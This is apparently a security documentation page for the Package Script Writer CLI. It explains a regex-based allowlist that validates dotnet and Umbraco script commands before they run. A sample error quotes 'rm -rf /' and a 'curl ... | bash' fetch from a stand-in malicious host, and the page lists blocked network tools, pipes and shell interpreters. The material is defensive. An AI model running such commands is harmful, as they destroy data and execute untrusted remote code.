The Package Script Writer includes a command allowlist validation system to prevent execution of dangerous or unexpected commands. This security feature validates every command in generated scripts before execution.
When you execute a script using the psw tool, the CommandValidator checks each command line against a predefined set of allowed patterns. If any command doesn't match the allowlist, execution is blocked and you'll see an error message.
The validator supports:
- Multi-line scripts - Each line validated independently
- Command chaining with
&&- One-liner scripts are split and each command validated - Windows and Linux syntax - Platform-specific commands recognized
- Comments and empty lines - Automatically skipped
✗ Script validation failed - dangerous commands detected:
• Line 5: Command not allowed: 'rm -rf /'
• Line 8: Command not allowed: 'curl http://malicious.com/script.sh | bash'
The script contains commands that are not in the allowlist.
This is a security measure to prevent execution of potentially dangerous commands.
The following commands are allowed by default:
dotnet new install Umbraco.Templates::14.3.0 --force
dotnet new -i Umbraco.Templates::10.0.0Flags: --force, --interactive
dotnet new sln --name "MySolution"# Basic project
dotnet new umbraco --force -n "MyProject"
# With unattended install
dotnet new umbraco --force -n "MyProject" \
--friendly-name "Admin" \
--email "admin@example.com" \
--password "Pass123!" \
--development-database-type SQLite
# Community templates
dotnet new umbootstrap --force -n "MyProject"
# Docker Compose
dotnet new umbraco-compose -P "MyProject"Flags: --force, -n, -P, --add-docker, --friendly-name, --email, --password, --development-database-type, --connection-string, --connection-string-provider-name
dotnet sln add "MyProject"# Add package with version
dotnet add package Umbraco.Community.BlockPreview --version 1.6.0
# Add package to specific project
dotnet add "MyProject" package uSync --prerelease
# Add prerelease package
dotnet add package SomePackage --prereleaseFlags: --version, --prerelease
dotnet run
dotnet run --project "MyProject"
dotnet run --urls "http://localhost:5000"Flags: --project, --urls
dotnet build
dotnet build "MyProject"
dotnet restore
dotnet restore "MyProject"@echo off
$env:ASPNETCORE_ENVIRONMENT=Development
$env:VARIABLE_NAME=value# This is a comment - always allowed
# Comments are displayed but not executed
# Empty lines are also allowedCommands can be chained with && on a single line. Each command in the chain is validated independently:
# Full one-liner example
dotnet new install Umbraco.Templates::14.3.0 --force && dotnet new umbraco --force -n "MyProject" && dotnet run --project "MyProject"
# Another valid chain
dotnet new sln --name "MySolution" && dotnet new umbraco -n "MySite" && dotnet sln add "MySite"How it works:
- Line is split on
&& - Each command segment is trimmed and validated separately
- ALL commands in the chain must pass validation
- If any command fails, the entire line is blocked
The following types of commands are blocked by the allowlist:
- File system operations:
rm,del,mv,cp,rmdir - Network operations:
curl,wget,nc,telnet - System commands:
shutdown,reboot,kill,pkill - Shell features: pipes (
|), redirects (>), command substitution (`) - Script execution:
bash,sh,powershell,cmd - Package managers:
npm,yarn,pip,apt,choco - Any other commands not explicitly in the allowlist
Note: Even benign versions of these commands are blocked to prevent injection attacks.
If you absolutely need to disable validation (e.g., for testing), you can do so by modifying the ScriptExecutor initialization:
var executor = new ScriptExecutor(logger, skipValidation: true);If you need to add additional safe commands to the allowlist, modify the CommandValidator.InitializeAllowedPatterns() method in /src/PackageCliTool/Validation/CommandValidator.cs.
// Allow dotnet clean command
patterns.Add(new Regex(
@"^dotnet\s+clean(\s+(""[^""]+""|\S+))*\s*$",
RegexOptions.IgnoreCase
));- Use
^and$to match the entire line - Use
\s+for required whitespace - Use
\s*for optional whitespace - Use
[\w\.\-]+for package names, versions, etc. - Use
(""[^""]+""|\S+)to match quoted or unquoted arguments - Use
RegexOptions.IgnoreCasefor case-insensitive matching
- Always review scripts before executing them, even with validation enabled
- Keep validation enabled in production environments
- Regularly update the allowlist patterns as new safe commands are identified
- Report suspicious scripts that attempt to use blocked commands
- Audit logs for validation failures to identify potential security issues
The validator processes each line of the script:
- Skip empty lines - No validation needed
- Skip comments (lines starting with
#) - Safe by default - Detect command chaining - If line contains
&&, split into individual commands - Validate each command - For chained commands, validate each segment independently
- Check platform-specific commands -
@echo off,$env:variables (Windows only) - Match against patterns - Each command must match at least one regex pattern
- Collect errors - All blocked commands are reported before failing
- Fail-safe - If validation fails, script execution is prevented entirely
- Validator:
/src/PackageCliTool/Validation/CommandValidator.cs - Integration:
/src/PackageCliTool/Services/ScriptExecutor.cs - Security Docs:
/.github/cli/security.md(this file)
If you discover a security vulnerability or a way to bypass the command allowlist, please report it immediately by creating a private security advisory on the GitHub repository.
Last Updated: 2025-12-18